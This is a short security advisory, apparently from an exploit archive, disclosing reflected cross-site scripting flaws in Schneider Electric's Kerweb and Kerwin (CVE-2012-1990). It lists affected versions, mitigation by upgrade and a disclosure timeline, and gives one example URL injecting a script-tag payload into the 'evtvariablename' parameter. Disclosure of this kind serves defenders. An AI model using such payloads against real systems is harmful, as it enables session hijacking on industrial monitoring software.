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Kerweb / Kerwin Cross Site Scripting

Kerweb / Kerwin Cross Site Scripting
Posted May 6, 2012
Authored by phocean

Kerweb versions prior to 3.0.1 and Kerwin versions prior to 6.0.1 suffer from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
advisories | CVE-2012-1990
MD5 | 524026565981836a50fd20b5f57ea575

Kerweb / Kerwin Cross Site Scripting

Change Mirror Download
Kerweb/Kerwin XSS vulnerabilities

Severity:
Moderate

Vendor:
Schneider Electrics

Versions Affected:
Kerweb < 3.0.1
Kerwin < 6.0.1

Description:
Input fields used for searching and displaying content are not filtered properly.
Thus, the web application suffers from multiple reflected XSS vulnerabilities.
Exploitation is made easier as parameters are passed with GET HTTP method.

Example:
An URL can be forged by injecting code in one of the parameter, like 'evtvariablename' here:
http://<server>/kw.dll?page=evts.xml&sessionid=xxx&nomenu=&typeevtwin=alms&dt=&gtvariablevalue=&ltvariablevalue=&variablevalue=&nevariablevalue=&evtclass=&evtdevicezone=&evtdevicecountry=&evtdeviceregion=&evtstatustype=&evtseveritytype=&evtstatus=&evtseverity=&evtlevel=&gtdateapp=&ltdateapp=&gtdaterec=&ltdaterec=&evtvariablename="</script><script>alert(1)</script>"&evtdevicename=&evtnature=&evttype=&gtduration=&ltduration=&gtdurationvalue=&gtdurationwide=1&ltdurationvalue=&ltdurationwide=1

Vendor status:
Vendor was contacted and a fix was released (with Kerweb 3.0.1 and Kerwin 6.0.1)

Mitigation:
Upgrade to Kerweb 3.0.1 and Kerwin 6.0.1

CVE:
CVE-2012-1990

Timeline:
06/20/2011: vendor disclosure (ticket reference : KN10915)
07/22/2011: vendor response
09/01/2012: fix released
05/05/2012: public disclosure

--- phocean

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